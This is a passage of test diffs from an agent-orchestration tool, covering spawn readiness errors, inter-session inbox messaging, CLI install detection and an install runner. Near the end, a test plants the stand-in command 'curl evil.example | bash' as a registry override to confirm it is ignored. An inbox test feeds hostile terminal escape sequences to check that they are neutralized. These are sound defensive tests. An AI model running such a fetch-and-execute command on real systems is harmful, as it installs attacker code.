await expect(isHomeDirectory(process.cwd())).resolves.toBe(false);
|
||||
await expect(isHomeDirectory(missing)).resolves.toBe(true);
|
||||
vi.stubEnv('HOME', '');
|
||||
await expect(isHomeDirectory(process.cwd())).resolves.toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('the directory-spawn --json shape is documented the same way everywhere', () => {
|
||||
// The wiki wraps lines, so whitespace is normalized before comparing.
|
||||
const clause =
|
||||
'`{ sessionId, workingDir, created: true }`, plus `ready` when a readiness wait ran, `readinessError` when that call failed, and `startupError` when the start failed';
|
||||
for (const file of ['README.md', 'docs/api-reference.md', 'docs/wiki/Driving-Codeman-From-An-Agent.md']) {
|
||||
it(file, () => {
|
||||
expect(readFileSync(new URL(`../${file}`, import.meta.url), 'utf8').replace(/\s+/g, ' ')).toContain(clause);
|
||||
});
|
||||
}
|
||||
});
|
||||
@@ -13,8 +13,11 @@ import { afterAll, beforeAll, describe, expect, it } from 'vitest';
|
||||
import {
|
||||
AgentGuardError,
|
||||
EXIT,
|
||||
agentAck,
|
||||
agentInboxRead,
|
||||
agentInterrupt,
|
||||
agentLs,
|
||||
agentPost,
|
||||
agentRead,
|
||||
agentRm,
|
||||
agentSend,
|
||||
@@ -27,14 +30,18 @@ import {
|
||||
buildSendBody,
|
||||
deleteRefusal,
|
||||
describeFailure,
|
||||
describeRequestError,
|
||||
httpRequest,
|
||||
inboxCell,
|
||||
inputRefusal,
|
||||
isSelfSession,
|
||||
MIN_ID_PREFIX_LENGTH,
|
||||
parsePositiveInt,
|
||||
postTextFromArgs,
|
||||
registerAgentCommands,
|
||||
resolveAgentContext,
|
||||
stripAnsi,
|
||||
terminalSafeText,
|
||||
waitExitCode,
|
||||
type AgentContext,
|
||||
type AgentDeps,
|
||||
@@ -506,6 +513,8 @@ describe('agent spawn', () => {
|
||||
it('takes the readiness mark from the CLI registry, not from a mode list', () => {
|
||||
expect(composerReadyMark('claude')).toBe('shift+tab');
|
||||
expect(composerReadyMark('deepseek')).toBe('❯');
|
||||
// Copilot's trust dialog draws `❯ 1. Yes`, so its mark is the composer's footer hint instead.
|
||||
expect(composerReadyMark('copilot')).toBe('/ commands · ? help');
|
||||
expect(composerReadyMark('pi')).toBeUndefined();
|
||||
expect(composerReadyMark('no-such-cli')).toBeUndefined();
|
||||
});
|
||||
@@ -540,6 +549,75 @@ describe('agent spawn', () => {
|
||||
expect(deps.calls).toHaveLength(1);
|
||||
expect(deps.err.join('')).toMatch(/SESSION_BUSY/);
|
||||
});
|
||||
|
||||
it.each([false, true])('preserves the created id when readiness throws (json=%s)', async (json) => {
|
||||
const deps = fakeDeps((options) => {
|
||||
if (options.path === '/api/v1/quick-start') return ok({ sessionId: OTHER, caseName: 'c' });
|
||||
throw new Error('readiness connection reset');
|
||||
}, json);
|
||||
const exit = await agentSpawn(deps, { caseName: 'c', mode: 'claude', ready: true, timeoutMs: 1000 }).catch(
|
||||
() => undefined
|
||||
);
|
||||
|
||||
if (json) {
|
||||
expect(deps.out).toHaveLength(1);
|
||||
expect(JSON.parse(deps.out[0])).toEqual({
|
||||
sessionId: OTHER,
|
||||
caseName: 'c',
|
||||
readinessError: 'readiness connection reset',
|
||||
});
|
||||
expect(deps.err).toEqual([]);
|
||||
} else {
|
||||
expect(deps.out).toEqual([OTHER]);
|
||||
expect(deps.err.join('')).toContain('readiness check failed: readiness connection reset');
|
||||
expect(deps.err.join('')).not.toMatch(/composer not seen|startup dialog/);
|
||||
}
|
||||
expect(exit).toBe(EXIT.error);
|
||||
expect(deps.calls.map(({ method, path }) => ({ method, path }))).toEqual([
|
||||
{ method: 'POST', path: '/api/v1/quick-start' },
|
||||
{ method: 'GET', path: `/api/v1/sessions/${OTHER}/wait-output` },
|
||||
]);
|
||||
});
|
||||
|
||||
it.each([
|
||||
{ error: new Error(''), kind: 'Error' },
|
||||
{ error: '', kind: 'string' },
|
||||
])('reports a readiness failure when the thrown $kind has no message', async ({ error }) => {
|
||||
const deps = fakeDeps((options) => {
|
||||
if (options.path === '/api/v1/quick-start') return ok({ sessionId: OTHER });
|
||||
throw error;
|
||||
}, true);
|
||||
|
||||
expect(await agentSpawn(deps, { caseName: 'c', mode: 'claude', ready: true, timeoutMs: 1000 })).toBe(EXIT.error);
|
||||
expect(deps.out).toHaveLength(1);
|
||||
expect(JSON.parse(deps.out[0])).toEqual({ sessionId: OTHER, readinessError: 'request failed without a message' });
|
||||
expect(deps.calls).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('keeps the error code when a refused connection rejects with an empty AggregateError', async () => {
|
||||
// Node 22 on a host resolving to ::1 and 127.0.0.1: message '', code ECONNREFUSED.
|
||||
const refused = Object.assign(new AggregateError([new Error('connect ECONNREFUSED ::1:3000')], ''), {
|
||||
code: 'ECONNREFUSED',
|
||||
});
|
||||
const deps = fakeDeps((options) => {
|
||||
if (options.path === '/api/v1/quick-start') return ok({ sessionId: OTHER });
|
||||
throw refused;
|
||||
}, true);
|
||||
|
||||
expect(await agentSpawn(deps, { caseName: 'c', mode: 'claude', ready: true, timeoutMs: 1000 })).toBe(EXIT.error);
|
||||
expect(JSON.parse(deps.out[0])).toEqual({ sessionId: OTHER, readinessError: 'ECONNREFUSED' });
|
||||
});
|
||||
});
|
||||
|
||||
describe('describeRequestError', () => {
|
||||
it('prefers the message, then the code, then a generic line', () => {
|
||||
expect(describeRequestError(new Error('socket hang up'))).toBe('socket hang up');
|
||||
expect(describeRequestError(Object.assign(new AggregateError([], ''), { code: 'ECONNREFUSED' }))).toBe(
|
||||
'ECONNREFUSED'
|
||||
);
|
||||
expect(describeRequestError(new Error(''))).toBe('request failed without a message');
|
||||
expect(describeRequestError('')).toBe('request failed without a message');
|
||||
});
|
||||
});
|
||||
|
||||
describe('session id prefixes', () => {
|
||||
@@ -605,6 +683,196 @@ describe('session id prefixes', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('agent inbox verbs', () => {
|
||||
const MSG = {
|
||||
id: 'm-1',
|
||||
from: OTHER,
|
||||
text: 'line one\nline two',
|
||||
createdAt: 1_700_000_000_000 - 90_000,
|
||||
seen: false,
|
||||
};
|
||||
|
||||
it('ls merges the inbox summary into an INBOX column', async () => {
|
||||
const deps = fakeDeps((o) =>
|
||||
o.path === '/api/v1/agent-inbox/summary'
|
||||
? ok({
|
||||
sessions: {
|
||||
[SELF]: { pending: 2, unseen: 1, oldestUnseenAt: 1, parked: false },
|
||||
[OTHER]: { pending: 0, unseen: 0, oldestUnseenAt: null, parked: true },
|
||||
},
|
||||
})
|
||||
: ok([
|
||||
{ id: SELF, mode: 'claude', status: 'busy', name: 'me' },
|
||||
{ id: OTHER, mode: 'codex', status: 'idle', name: 'worker' },
|
||||
])
|
||||
);
|
||||
expect(await agentLs(deps)).toBe(EXIT.ok);
|
||||
const text = deps.out.join('\n');
|
||||
expect(text).toMatch(/ID\s+MODE\s+STATUS\s+INBOX\s+NAME/);
|
||||
expect(text).toMatch(/058ee7b5\s+claude\s+busy\s+2 \(1 new\)\s+me/);
|
||||
expect(text).toMatch(/94990c6d\s+codex\s+idle\s+parked\s+worker/);
|
||||
});
|
||||
|
||||
it('ls --json carries each session’s inbox row (null when it has none)', async () => {
|
||||
const deps = fakeDeps(
|
||||
(o) =>
|
||||
o.path === '/api/v1/agent-inbox/summary'
|
||||
? ok({ sessions: { [OTHER]: { pending: 1, unseen: 1, oldestUnseenAt: 5, parked: false } } })
|
||||
: ok([{ id: SELF }, { id: OTHER }]),
|
||||
true
|
||||
);
|
||||
await agentLs(deps);
|
||||
const parsed = JSON.parse(deps.out.join('')) as Array<{ id: string; inbox: unknown }>;
|
||||
expect(parsed.map((s) => s.inbox)).toEqual([null, { pending: 1, unseen: 1, oldestUnseenAt: 5, parked: false }]);
|
||||
});
|
||||
|
||||
it('ls still lists sessions when the server has no summary route', async () => {
|
||||
const deps = fakeDeps((o) =>
|
||||
o.path === '/api/v1/agent-inbox/summary' ? apiError(404, 'NOT_FOUND', 'Route not found') : ok([{ id: OTHER }])
|
||||
);
|
||||
expect(await agentLs(deps)).toBe(EXIT.ok);
|
||||
expect(deps.out.join('\n')).not.toContain('INBOX');
|
||||
});
|
||||
|
||||
it('inboxCell', () => {
|
||||
expect(inboxCell(undefined)).toBe('');
|
||||
expect(inboxCell({ pending: 3, unseen: 0, oldestUnseenAt: null, parked: false })).toBe('3');
|
||||
expect(inboxCell({ pending: 3, unseen: 2, oldestUnseenAt: 1, parked: true })).toBe('3 (2 new), parked');
|
||||
});
|
||||
|
||||
it('post sends the text as data to the resolved session and never to /input', async () => {
|
||||
const deps = fakeDeps([ok({ message: MSG, pending: 1, unseen: 1 })]);
|
||||
expect(await agentPost(deps, { id: OTHER, text: 'line one\nline two' })).toBe(EXIT.ok);
|
||||
expect(deps.calls).toEqual([
|
||||
expect.objectContaining({
|
||||
method: 'POST',
|
||||
path: `/api/v1/sessions/${OTHER}/inbox`,
|
||||
body: { text: 'line one\nline two' },
|
||||
}),
|
||||
]);
|
||||
expect(deps.out.join('')).toMatch(/posted to 94990c6d \(1 pending, 1 unseen\)/);
|
||||
});
|
||||
|
||||
it('post passes a full inbox (409) through as an error', async () => {
|
||||
const deps = fakeDeps([apiError(409, 'CONFLICT', 'Inbox of x is full (200 messages).')]);
|
||||
expect(await agentPost(deps, { id: OTHER, text: 'x' })).toBe(EXIT.error);
|
||||
expect(deps.err.join('')).toMatch(/CONFLICT: Inbox of x is full/);
|
||||
});
|
||||
|
||||
it('post takes ONE argument and refuses an empty one before any request', async () => {
|
||||
expect(postTextFromArgs(['a\nb'])).toEqual({ text: 'a\nb' });
|
||||
expect(postTextFromArgs(['a', 'b'])).toEqual({ error: expect.stringMatching(/ONE argument, got 2/) });
|
||||
const deps = fakeDeps([]);
|
||||
expect(await agentPost(deps, { id: OTHER, text: '' })).toBe(EXIT.refused);
|
||||
expect(deps.calls).toEqual([]);
|
||||
});
|
||||
|
||||
it('inbox reads this session’s own inbox by default and prints full ids plus the ack hint', async () => {
|
||||
const deps = fakeDeps([ok({ receiver: true, messages: [MSG], pending: 1, unseen: 0 })]);
|
||||
expect(await agentInboxRead(deps, {})).toBe(EXIT.ok);
|
||||
expect(deps.calls[0]).toMatchObject({ method: 'GET', path: `/api/v1/sessions/${SELF}/inbox` });
|
||||
expect(deps.calls[0].query).toEqual({ wait: undefined });
|
||||
const text = deps.out.join('\n');
|
||||
expect(text).toMatch(/── m-1 from 94990c6d, 2m ago, new/);
|
||||
expect(text).toContain('line one\nline two');
|
||||
expect(deps.err.join('')).toMatch(/codeman agent ack <id>/);
|
||||
});
|
||||
|
||||
it('inbox prints message text with escape sequences and control characters neutralized', async () => {
|
||||
const hostile = {
|
||||
...MSG,
|
||||
text: 'title \x1b]0;pwned\x07ok\r\nred \x1b[31mtext\x1b[0m\rover\bwrite\ttab\x9b2J\nend',
|
||||
};
|
||||
const deps = fakeDeps([ok({ receiver: true, messages: [hostile], pending: 1, unseen: 0 })]);
|
||||
expect(await agentInboxRead(deps, {})).toBe(EXIT.ok);
|
||||
// out[0] is the `── <id> from …` header (styled by the palette), out[1] the text.
|
||||
expect(deps.out).toHaveLength(2);
|
||||
expect(deps.out[1]).not.toMatch(/[\x00-\x08\x0b-\x1f\x7f-\x9f]/);
|
||||
expect(deps.out[1]).toBe('title ok\nred text\\x0dover\\x08write\ttab\\x9b2J\nend');
|
||||
});
|
||||
|
||||
it('terminalSafeText keeps newline and tab and escapes every other control', () => {
|
||||
expect(terminalSafeText('a\nb\tc')).toBe('a\nb\tc');
|
||||
expect(terminalSafeText('a\r\nb')).toBe('a\nb');
|
||||
expect(terminalSafeText('\x1b[2J\x1bc\x00\x7f')).toBe('\\x1bc\\x00\\x7f');
|
||||
expect(terminalSafeText('ünïcödé ✓')).toBe('ünïcödé ✓');
|
||||
});
|
||||
|
||||
it('inbox --json hands the text out as stored', async () => {
|
||||
const raw = { ...MSG, text: 'red \x1b[31mtext' };
|
||||
const deps = fakeDeps([ok({ receiver: true, messages: [raw], pending: 1, unseen: 0 })], true);
|
||||
await agentInboxRead(deps, {});
|
||||
expect((JSON.parse(deps.out.join('')) as { messages: Array<{ text: string }> }).messages[0].text).toBe(
|
||||
'red \x1b[31mtext'
|
||||
);
|
||||
});
|
||||
|
||||
it('inbox <id> is a peek and says so', async () => {
|
||||
const deps = fakeDeps([ok([{ id: OTHER }]), ok({ receiver: false, messages: [MSG], pending: 1, unseen: 1 })]);
|
||||
expect(await agentInboxRead(deps, { id: OTHER.slice(0, 8) })).toBe(EXIT.ok);
|
||||
expect(deps.calls[1].path).toBe(`/api/v1/sessions/${OTHER}/inbox`);
|
||||
expect(deps.err.join('')).toMatch(/peek: nothing was marked seen/);
|
||||
});
|
||||
|
||||
it('inbox --wait passes the budget and maps timeout to exit 2', async () => {
|
||||
const timedOut = fakeDeps([ok({ receiver: true, messages: [], pending: 0, unseen: 0, wait: { timedOut: true } })]);
|
||||
expect(await agentInboxRead(timedOut, { waitMs: 30_000 })).toBe(EXIT.timeout);
|
||||
expect(timedOut.calls[0]).toMatchObject({ query: { wait: 30_000 }, timeoutMs: 40_000 });
|
||||
});
|
||||
|
||||
describe('a wait the server ended', () => {
|
||||
const ended = ok({ receiver: true, messages: [], pending: 0, unseen: 0, wait: { ended: true } });
|
||||
|
||||
it('is exit 3 only when the session list confirms the session is gone', async () => {
|
||||
const deps = fakeDeps([ended, ok([{ id: OTHER }])]);
|
||||
expect(await agentInboxRead(deps, { waitMs: 30_000 })).toBe(EXIT.dead);
|
||||
expect(deps.calls[1]).toMatchObject({ method: 'GET', path: '/api/v1/sessions' });
|
||||
expect(deps.err.join('')).toMatch(/went away/);
|
||||
});
|
||||
|
||||
it('is exit 2 (wait again) while the session is still listed: a restart or detach', async () => {
|
||||
const deps = fakeDeps([ended, ok([{ id: SELF }])]);
|
||||
expect(await agentInboxRead(deps, { waitMs: 30_000 })).toBe(EXIT.timeout);
|
||||
expect(deps.err.join('')).toMatch(/ended the wait early/);
|
||||
});
|
||||
|
||||
it('is exit 2 when the list cannot be had (the server is still coming back)', async () => {
|
||||
const deps = fakeDeps([ended, apiError(503, 'INTERNAL_ERROR', 'restarting')]);
|
||||
expect(await agentInboxRead(deps, { waitMs: 30_000 })).toBe(EXIT.timeout);
|
||||
});
|
||||
});
|
||||
|
||||
it('ack posts the ids to this session’s own inbox', async () => {
|
||||
const deps = fakeDeps([ok({ removed: 2, pending: 0 })]);
|
||||
expect(await agentAck(deps, { ids: ['m-1', ' m-2 '] })).toBe(EXIT.ok);
|
||||
expect(deps.calls[0]).toMatchObject({
|
||||
method: 'POST',
|
||||
path: `/api/v1/sessions/${SELF}/inbox/ack`,
|
||||
body: { ids: ['m-1', 'm-2'] },
|
||||
});
|
||||
expect(deps.out.join('')).toMatch(/acked 2 \(0 still pending\)/);
|
||||
});
|
||||
|
||||
it('ack refuses without ids and passes a 403 through', async () => {
|
||||
const none = fakeDeps([]);
|
||||
expect(await agentAck(none, { ids: [' '] })).toBe(EXIT.refused);
|
||||
expect(none.calls).toEqual([]);
|
||||
const forbidden = fakeDeps([apiError(403, 'FORBIDDEN', 'Only x itself can acknowledge its inbox')]);
|
||||
expect(await agentAck(forbidden, { ids: ['m-1'] })).toBe(EXIT.error);
|
||||
});
|
||||
|
||||
it('none of the inbox verbs writes to a pane', async () => {
|
||||
const deps = fakeDeps((o) =>
|
||||
o.path === '/api/v1/sessions' ? ok([{ id: OTHER }]) : ok({ messages: [], pending: 0, unseen: 0 })
|
||||
);
|
||||
await agentPost(deps, { id: OTHER, text: 'x' });
|
||||
await agentInboxRead(deps, {});
|
||||
await agentInboxRead(deps, { id: OTHER, waitMs: 1000 });
|
||||
await agentAck(deps, { ids: ['m'] });
|
||||
for (const call of deps.calls) expect(call.path).not.toMatch(/\/input$/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('help texts carry the traps the skill documents', () => {
|
||||
const agent = registerAgentCommands(new Command());
|
||||
const sub = (name: string) => agent.commands.find((c) => c.name() === name)!;
|
||||
@@ -619,6 +887,26 @@ describe('help texts carry the traps the skill documents', () => {
|
||||
expect(sub('send').description()).toContain('send <id> -- "- fix the bug"');
|
||||
});
|
||||
|
||||
it('post takes text that starts with "-" (markdown from a file) without --', async () => {
|
||||
const program = new Command();
|
||||
program.exitOverride();
|
||||
const post = registerAgentCommands(program).commands.find((c) => c.name() === 'post')!;
|
||||
const got: Array<{ words: string[]; json: boolean }> = [];
|
||||
post.action((_id: string, words: string[], o: { json?: boolean }) => {
|
||||
got.push({ words, json: Boolean(o.json) });
|
||||
});
|
||||
for (const text of ['- [ ] item\nnext', '---\ntitle: a', '-v is great']) {
|
||||
await program.parseAsync(['node', 'codeman', 'agent', 'post', 'abcdefgh', text]);
|
||||
}
|
||||
await program.parseAsync(['node', 'codeman', 'agent', 'post', 'abcdefgh', 'hi', '--json']);
|
||||
expect(got).toEqual([
|
||||
{ words: ['- [ ] item\nnext'], json: false },
|
||||
{ words: ['---\ntitle: a'], json: false },
|
||||
{ words: ['-v is great'], json: false },
|
||||
{ words: ['hi'], json: true },
|
||||
]);
|
||||
});
|
||||
|
||||
it('rm does not claim a lineage check it does not make', () => {
|
||||
expect(sub('rm').description()).toMatch(/^Delete any session except this one/);
|
||||
});
|
||||
|
||||
@@ -36,6 +36,8 @@ describe('per-mode capability predicates', () => {
|
||||
['grok', true, false, false],
|
||||
['deepseek', true, false, true],
|
||||
['omp', true, false, false],
|
||||
['copilot', true, false, false],
|
||||
['jcode', true, false, false],
|
||||
] as Array<[SessionMode, boolean, boolean, boolean]>)(
|
||||
'%s: external=%s altScreenStrip=%s hooks=%s',
|
||||
(mode, external, altScreen, hooks) => {
|
||||
@@ -48,7 +50,7 @@ describe('per-mode capability predicates', () => {
|
||||
it('covers every enabled mode (sanity)', () => {
|
||||
// If a CLI is added without a row above, this fails rather than the table silently
|
||||
// describing a subset of reality.
|
||||
expect(MODES.length).toBe(10);
|
||||
expect(MODES.length).toBe(12);
|
||||
});
|
||||
|
||||
it('keeps the three predicates genuinely distinct', () => {
|
||||
|
||||
@@ -208,3 +208,29 @@ describe('help text', () => {
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('unauthenticated tunnel launch option', () => {
|
||||
it.each(['web', 'service install'])('registers --allow-unauthenticated-tunnel on %s', (path) => {
|
||||
const command = path === 'web' ? find(program, 'web')! : find(find(program, 'service')!, 'install')!;
|
||||
const options = command.options.filter((option) => option.long === '--allow-unauthenticated-tunnel');
|
||||
expect(
|
||||
options.map((option) => ({
|
||||
flags: option.flags,
|
||||
attribute: option.attributeName(),
|
||||
required: option.required,
|
||||
optional: option.optional,
|
||||
}))
|
||||
).toEqual([
|
||||
{
|
||||
flags: '--allow-unauthenticated-tunnel',
|
||||
attribute: 'allowUnauthenticatedTunnel',
|
||||
required: false,
|
||||
optional: false,
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it('documents --allow-unauthenticated-tunnel in web help', () => {
|
||||
expect(find(program, 'web')!.helpInformation()).toContain('--allow-unauthenticated-tunnel');
|
||||
});
|
||||
});
|
||||
@@ -1,9 +1,10 @@
|
||||
import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { chmodSync, mkdirSync, mkdtempSync, rmSync, utimesSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { EXEC_TIMEOUT_MS } from '../src/config/exec-timeout.js';
|
||||
import {
|
||||
CLI_INSTALLED_MARKER,
|
||||
cliResolveRetryDelayMs,
|
||||
createCliExecutableResolver,
|
||||
createProductionCliResolverHost,
|
||||
@@ -130,6 +131,107 @@ describe('createCliExecutableResolver', () => {
|
||||
expect(findInLoginShell).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
describe('the installer says a CLI was installed', () => {
|
||||
// install.sh touches a marker when it installs a CLI, and the stamp is that file's
|
||||
// mtime. A running server must see the new CLI at the next request, because Run reads
|
||||
// this same answer: "Run fails, add the agent, Run again" must not fail twice.
|
||||
function waiting() {
|
||||
const clock = { now: 0, stamp: 1000 };
|
||||
const findInLoginShell = vi.fn<() => string | null>().mockReturnValue(null);
|
||||
const onPath = vi.fn<() => string | null>().mockReturnValue(null);
|
||||
const installStamp = vi.fn(() => clock.stamp);
|
||||
const h = host({
|
||||
findInLoginShell,
|
||||
findOnProcessPath: onPath,
|
||||
exists: vi.fn((path) => path === '/new/bin/codex'),
|
||||
installStamp,
|
||||
});
|
||||
const resolver = createCliExecutableResolver({ binary: 'codex', searchDirs: [], now: () => clock.now }, h);
|
||||
expect(resolver.resolve()).toBeNull();
|
||||
return { clock, findInLoginShell, onPath, installStamp, resolver };
|
||||
}
|
||||
|
||||
it('ends the backoff at once when the stamp changes', () => {
|
||||
const { clock, findInLoginShell, resolver } = waiting();
|
||||
clock.now = 1;
|
||||
findInLoginShell.mockReturnValue('/new/bin/codex');
|
||||
clock.stamp = 2000;
|
||||
expect(resolver.resolve()?.binaryPath).toBe('/new/bin/codex');
|
||||
});
|
||||
|
||||
it('keeps the backoff, with nothing spawned, while the stamp stands still', () => {
|
||||
const { clock, findInLoginShell, onPath, resolver } = waiting();
|
||||
clock.now = cliResolveRetryDelayMs(1) - 1;
|
||||
for (let i = 0; i < 50; i++) expect(resolver.resolve()).toBeNull();
|
||||
expect(findInLoginShell).toHaveBeenCalledTimes(1);
|
||||
expect(onPath).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('a marker older than the server is not news: it does not cost a second chain', () => {
|
||||
// A stamp present from the first look on must not read as a change at the second.
|
||||
const { clock, findInLoginShell, resolver } = waiting();
|
||||
clock.now = 1;
|
||||
expect(resolver.resolve()).toBeNull();
|
||||
expect(findInLoginShell).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('one change buys one look: a CLI that is still missing goes back to waiting', () => {
|
||||
const { clock, findInLoginShell, resolver } = waiting();
|
||||
clock.now = 1;
|
||||
clock.stamp = 2000;
|
||||
expect(resolver.resolve()).toBeNull();
|
||||
expect(resolver.resolve()).toBeNull();
|
||||
expect(resolver.resolve()).toBeNull();
|
||||
expect(findInLoginShell).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it('never looks at the marker once a CLI is resolved', () => {
|
||||
const { clock, findInLoginShell, installStamp, resolver } = waiting();
|
||||
findInLoginShell.mockReturnValue('/new/bin/codex');
|
||||
clock.stamp = 2000;
|
||||
expect(resolver.resolve()?.binaryPath).toBe('/new/bin/codex');
|
||||
installStamp.mockClear();
|
||||
for (let i = 0; i < 10; i++) resolver.resolve();
|
||||
expect(installStamp).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('a stamp going backwards is a change too, or a restored data folder would hide one', () => {
|
||||
const { clock, findInLoginShell, resolver } = waiting();
|
||||
clock.now = 1;
|
||||
clock.stamp = 500;
|
||||
resolver.resolve();
|
||||
expect(findInLoginShell).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it('reads the real marker file, and treats a missing one as no news', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'codeman-cli-marker-'));
|
||||
const marker = join(dir, CLI_INSTALLED_MARKER);
|
||||
try {
|
||||
const h = createProductionCliResolverHost({ allowRealIoUnderVitest: true, installMarkerPath: marker });
|
||||
expect(h.installStamp?.()).toBe(0);
|
||||
writeFileSync(marker, '');
|
||||
utimesSync(marker, 1000, 1000);
|
||||
const first = h.installStamp?.();
|
||||
expect(first).toBeGreaterThan(0);
|
||||
utimesSync(marker, 2000, 2000);
|
||||
expect(h.installStamp?.()).not.toBe(first);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it('reads no marker under vitest, even one that is there', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'codeman-cli-marker-'));
|
||||
const marker = join(dir, CLI_INSTALLED_MARKER);
|
||||
try {
|
||||
writeFileSync(marker, '');
|
||||
expect(createProductionCliResolverHost({ installMarkerPath: marker }).installStamp?.()).toBe(0);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
it('invalidation drops a negative-cache backoff immediately (a CLI installed from Settings)', () => {
|
||||
let now = 0;
|
||||
const findInLoginShell = vi.fn<() => string | null>().mockReturnValueOnce(null).mockReturnValue('/new/bin/grokx');
|
||||
|
||||
@@ -0,0 +1,298 @@
|
||||
/**
|
||||
* @fileoverview The shared runner of a stock CLI's install command (src/cli-install-runner.ts):
|
||||
* what is new in it since it left the registry route, and what both of its callers rely on.
|
||||
*
|
||||
* The route's own behaviour (answers, audit entry, environment, timeout) stays pinned by
|
||||
* test/routes/cli-registry-routes.test.ts, which runs unchanged against the moved code. Here:
|
||||
* - `stockInstallCommand()` reads the COMPILED stock entry, so a `clis.json` override cannot
|
||||
* change what the local model install job runs;
|
||||
* - the one install slot per CLI is shared: while the job holds it, the route answers 409;
|
||||
* - an abort signal kills the installer's process group, and one that is already aborted
|
||||
* starts nothing;
|
||||
* - `forgetResolvedCli()` drops both caches.
|
||||
*
|
||||
* Nothing is really spawned: `spawn` is a fake child.
|
||||
*
|
||||
* Port: N/A (app.inject(), no live server).
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { EventEmitter } from 'node:events';
|
||||
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { dirname } from 'node:path';
|
||||
import { createRouteTestHarness } from './routes/_route-test-utils.js';
|
||||
import {
|
||||
CLI_INSTALL_TIMEOUT_MS,
|
||||
forgetResolvedCli,
|
||||
runInstallCommand,
|
||||
stockInstallCommand,
|
||||
tryBeginCliInstall,
|
||||
} from '../src/cli-install-runner.js';
|
||||
import { registerCliRegistryRoutes } from '../src/web/routes/cli-registry-routes.js';
|
||||
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
|
||||
import {
|
||||
getCli,
|
||||
registryFilePath,
|
||||
reloadCliRegistry,
|
||||
resolveInstallCommandForPlatform,
|
||||
} from '../src/config/cli-registry/registry.js';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
|
||||
const { spawnMock, invalidateBinariesSpy, invalidateIdSpy } = vi.hoisted(() => ({
|
||||
spawnMock: vi.fn(),
|
||||
invalidateBinariesSpy: vi.fn(),
|
||||
invalidateIdSpy: vi.fn(),
|
||||
}));
|
||||
vi.mock('node:child_process', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('node:child_process')>();
|
||||
return { ...actual, spawn: spawnMock };
|
||||
});
|
||||
vi.mock('../src/utils/cli-executable-resolver.js', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../src/utils/cli-executable-resolver.js')>();
|
||||
return {
|
||||
...actual,
|
||||
invalidateCliExecutableResolvers: (binaries: readonly string[]) => {
|
||||
invalidateBinariesSpy([...binaries]);
|
||||
actual.invalidateCliExecutableResolvers(binaries);
|
||||
},
|
||||
};
|
||||
});
|
||||
vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>();
|
||||
return {
|
||||
...actual,
|
||||
invalidateCliResolverCache: (id?: string) => {
|
||||
invalidateIdSpy(id);
|
||||
actual.invalidateCliResolverCache(id);
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
interface FakeChild extends EventEmitter {
|
||||
pid: number;
|
||||
stdout: EventEmitter;
|
||||
stderr: EventEmitter;
|
||||
}
|
||||
|
||||
/** A spawned installer that stays alive until the test ends it. */
|
||||
function hangingChild(pid = 4_242_424): FakeChild {
|
||||
const child = new EventEmitter() as FakeChild;
|
||||
child.pid = pid;
|
||||
child.stdout = new EventEmitter();
|
||||
child.stderr = new EventEmitter();
|
||||
return child;
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
spawnMock.mockReset();
|
||||
invalidateBinariesSpy.mockClear();
|
||||
invalidateIdSpy.mockClear();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.useRealTimers();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('stockInstallCommand', () => {
|
||||
afterEach(() => {
|
||||
rmSync(registryFilePath(), { force: true });
|
||||
reloadCliRegistry();
|
||||
});
|
||||
|
||||
it('is the compiled stock command of every stock CLI that has one for this platform', () => {
|
||||
for (const entry of STOCK_CLIS) {
|
||||
const expected = resolveInstallCommandForPlatform(entry);
|
||||
expect(stockInstallCommand(entry.id as string)).toBe(expected && expected.trim() !== '' ? expected : undefined);
|
||||
}
|
||||
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
|
||||
});
|
||||
|
||||
it('is undefined for an id that is not a stock CLI', () => {
|
||||
expect(stockInstallCommand('not-a-cli')).toBeUndefined();
|
||||
expect(stockInstallCommand('')).toBeUndefined();
|
||||
expect(stockInstallCommand('__proto__')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('ignores a clis.json override: the registry shows the override, the stock command stays', () => {
|
||||
mkdirSync(dirname(registryFilePath()), { recursive: true });
|
||||
writeFileSync(
|
||||
registryFilePath(),
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
clis: {
|
||||
opencode: {
|
||||
discovery: {
|
||||
install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
|
||||
},
|
||||
},
|
||||
},
|
||||
}),
|
||||
{ mode: 0o600 }
|
||||
);
|
||||
reloadCliRegistry();
|
||||
